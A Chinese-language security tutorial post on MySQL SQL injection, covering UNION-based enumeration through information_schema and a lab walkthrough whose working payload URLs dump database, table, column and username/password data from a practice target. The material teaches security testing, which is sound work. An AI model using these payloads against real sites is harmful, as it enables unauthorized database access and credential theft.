投稿文章——SQL注入
在上几期,小编带着大家一起学习了文件上传和xss平台搭建,相信大家对网络安全有了一定的了解。接下来,咱们一起学习SQL注入。
01
基础知识
数据库方面:
针对MySQL数据库,其他数据库会有一些区别。
命令:
select :查数据select * from 表名;查询这个表的所有信息Select admin from 表名;查询这个表中admin字段的信息Order by :用于猜测列数,如:order by 1,2,3;找到页面正常和页面不正常的临界值,即列数,Union :用于合并两个或多个 SELECT 语句的结果集(简单点说就是可以同时执行两条sql命令,要求是是拥有相同的列数。用于联合注入)And:两边同时为真才为真(==&&)Or: 两边同时为假,才为假(==||)Where:判断语句,相当于ifGroup_concat():相同的行组合起来(用于输出所有查询结果)
函数:
User():返回用户Version()返回版本Database() 返回数据库名(作用:信息收集,确定之后的思路)load_file():读取函数into outfile 或 into dumpfile :导出函数
版本:
MySQL数据库分高版本和低版本5.0以上为低版本,5.0以上为高版本高版本自带一个数据库叫:information_schema其中存储有所有的库名,表明,列明可以通过他查询指定数据库下面的表明,列名5.0以下的就没有这个库,这就导致表明和列明就只有猜解爆破
单词:
information_schema.table:记录所有表名的表(找表名)Information_schema.columns:记录所有列名信息的表(找列名)table_name:表名column_name:列名table_schema:库名
获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select1,group_concat(schema_name),3%20from information_schema.schemata
获取指定qqyw数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'
获取指定qqyw下的表名admin下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'
获取指定ggyw下的admin数据:
union select 1,u,p,4 from qqyw.admin
其他方面:
get ,post.提交方法,数据包格式,内容,每个字段的作用
工具:
burp,浏览器插件:modheader,(或者直接用Firefox.渗透测试版本)
数据库符号:
'.'代表下一级,如:库名、表明;代表这个数据库下面的一个表
02
漏洞原理
原理:
用户输入的数据,被当作SQL代码执行。
条件:
用户可控制输入数据。
03
漏洞分类
主要注入方式:
注入的种类,存在sql注入漏洞的传参点:GET,POST,HEADER,COOKIE(只要是带入了数据库查询,就可能存在sql注入)
辅助注入方式:
联合注入:通过union进行联合查询,直接在页面中显示数据
报错注入:页面出现报错信息的同时,将想要的信息一同输出出来
盲注:用爆破的方式,通过页面返回的情况判断猜的数据是否正确,主要有布尔盲注,时间盲注
其他注入:
加解密注入,json注入, dnslog注入,二次注入,堆叠注入…
04
漏洞寻找
寻找sql注入点:
1.发现url中存在参数的时候,比如:?id=xx,这种直接在后面加单引号,以及加 and 1=1和and 1=2(存在单引号过滤的时候),回车后观察页面返回情况,如果有报错,那就可能存在sql注入。
2.在登录页面,查找页面,添加页面,等存在查找数据库信息的功能点出,可能存在sql注入,以及抓取数据包,以POST方式提交的信息,cookie信息,等存在需要带入数据库查询的地方都可能存在sql注入。
05
漏洞利用
(一)靶场:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
(1)首先通过select 1,2,3--+找到回显是那一列,这里显示的2,3说明应该修改2,3出的内容才能回想信息。
(2)收集信息:将url中的2,3替换成想要查询的信息,这里查询版本version()为5.5.64属于高版本,用户root判断为高权限用户,数据库名字database()为:security
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1'union+select+1,version(),user()--+
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1'union+select+1,version(),database()--+
(3)这里为了显示所有信息,使用了group_concat(),将所有的数据库名都显示出来,且以点分隔.
SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 frominformation_schema.schemata--+ LIMIT 0,1
(4)爆表名:(目的:只有知道了具体的表名才能进行查询,列明同理)
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1
(5)爆users这个表的列名(其他表同理):这里的column_name表示列明的意思,information_schema.columns中的columns这个表存储了所有的列名。
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
此时的sql语句为:
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1
(6)爆数据:这里选择爆username和password这两个列的数据
https://130-3acb3a49-ff3f-44c7-ae73-512090dbfd63.do-not-trust.hacking.run/?id=-1%27union%20select%201,group_concat(username),group_concat(password)from users--+
END
攥稿:蒋师傅
审核:陈宏基
排版:唐艺婷